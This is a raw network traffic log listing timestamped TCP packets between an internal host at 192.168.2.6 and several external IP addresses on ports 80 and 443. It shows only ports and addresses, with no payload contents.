Aug 21, 2024 08:32:14.195457935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195470095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195487022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195497036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195497990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195508003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195519924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195529938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195553064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195820093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195830107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195842028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195873022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195883989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.195950031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195960999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195971012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195982933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.195993900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196007013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196031094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196074963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196085930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196098089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196110964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196114063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196122885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196131945 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196135044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196162939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196172953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196183920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196222067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196233988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196245909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196271896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196283102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196330070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196341038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196352005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196362019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196363926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196382999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196408987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196574926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196585894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196602106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196614027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196624994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196626902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196635008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196645021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196655035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196665049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196666002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196683884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196705103 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196813107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196824074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196834087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196844101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196855068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196855068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.196868896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.196899891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197141886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197181940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197185993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197194099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197215080 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197231054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197278976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197289944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197300911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197312117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197324038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197338104 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197365999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197503090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197515011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197525024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197535038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197546005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197551012 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197562933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197568893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197575092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197586060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197597027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197602987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197619915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197643042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197731018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197741985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197752953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197768927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.197776079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197792053 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.197817087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199426889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199439049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199450016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199476004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199480057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199503899 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199522972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199527979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199534893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199544907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199557066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199569941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199573040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199584007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199587107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199605942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199608088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199616909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199624062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199644089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199664116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199728966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199739933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199749947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.199764013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.199793100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.201694965 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.201709032 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.202064037 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.202147961 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.202617884 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:14.213867903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.213880062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.213890076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.213963032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.213973999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.213979006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.213985920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214015007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214047909 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214317083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214374065 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214390039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214400053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214432001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214463949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214472055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214483023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214493036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214504004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.214517117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214544058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.214575052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215183020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215239048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215240955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215255976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215286016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215306044 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215307951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215320110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215329885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215349913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215384007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215874910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215923071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.215940952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215953112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.215991974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.216033936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216044903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216054916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216065884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216087103 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.216118097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.216913939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216923952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216933966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.216984034 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.216984987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.217027903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217040062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217050076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217061043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217087984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.217087984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.217122078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.217839003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217881918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.217896938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.217926979 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.234252930 CEST	80	49726	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.234323978 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.234483957 CEST	80	49726	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.234534979 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.234553099 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.234918118 CEST	49728	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.239445925 CEST	80	49726	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.239726067 CEST	80	49728	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.239792109 CEST	49728	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.239870071 CEST	49728	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.240430117 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.240453005 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.240510941 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.240703106 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.240715981 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.244502068 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:14.244695902 CEST	80	49728	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.245197058 CEST	80	49728	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.245260000 CEST	49728	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.250454903 CEST	80	49727	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.250521898 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.250610113 CEST	80	49727	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.250678062 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.250678062 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.250973940 CEST	49730	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.255738020 CEST	80	49727	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.255748987 CEST	80	49730	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.255822897 CEST	49730	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.255928040 CEST	49730	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.256361008 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.256376028 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.256443977 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.256620884 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.256637096 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.261097908 CEST	80	49730	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.261161089 CEST	49730	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.278850079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.278873920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.278886080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.278949976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.278979063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.278992891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279004097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279014111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279028893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279038906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279040098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279058933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279078007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279093027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279109955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279184103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279195070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279206991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279217958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279227972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279228926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279238939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279258013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279280901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279401064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279412031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279422045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279432058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279443026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279443979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279458046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279459000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279469013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279479980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279494047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279519081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279649019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279659986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279670000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279695988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279706955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279793978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279804945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279814959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279824972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279835939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279845953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279850006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279856920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279867887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279874086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279880047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279890060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.279897928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279918909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.279932022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280101061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280121088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280126095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280132055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280137062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280143023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280143976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280153990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280153990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280167103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280179024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280188084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280190945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280201912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280211926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280217886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280222893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280241013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280261040 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280510902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280561924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280586004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280597925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280607939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280617952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280627966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280637026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280637980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280666113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280687094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280854940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280867100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280883074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280884981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280886889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280889988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280894995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280898094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280911922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280922890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280924082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280934095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280946016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280955076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280956984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280968904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280976057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280978918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280988932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.280996084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.280999899 CEST	80	49722	162.241.203.25	192.168.2.6
